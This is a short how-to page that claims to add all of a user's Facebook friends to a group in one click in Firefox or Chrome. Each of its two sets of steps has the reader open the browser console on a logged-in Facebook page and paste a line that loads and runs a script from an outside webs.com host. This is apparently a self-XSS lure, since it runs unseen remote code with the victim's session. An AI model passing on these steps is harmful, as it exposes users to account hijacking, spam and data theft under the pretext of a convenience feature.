How to add all facebook friends into Facebook group by single click

How to add all facebook friends into Facebook group by single click in Mozilla firefox and Google chrome.

1) If you want to add your all friends in group in Mozilla Firefox by just single click then follow all steps carefully.

1. Firstly open Mozilla Firefox
2. Now Open your Facebook group in which you want to add your friends
3. Then Click   Ctrl + Shift + K
4. Now  Paste...
   document.body.appendChild(document.createElement('script')).src='http://jagjotsingh.webs.com/group-invite.js';
5. Then press Enter
6. After then to hide box press again Ctrl + Shift + K

2) If you want to add your all friends in group in Google

    Chrome by just single click then follow all steps carefully

1. Firstly open Google chrome
2. Now Open your Facebook group in which you want to add your friends
3. Right click then click Inspect Element
4. Then Select Console Tab
5. Then Paste
   document.body.appendChild(document.createElement('script')).src='http://jagjotsingh.webs.com/group-invite.js';
6. This will start adding friend to your computer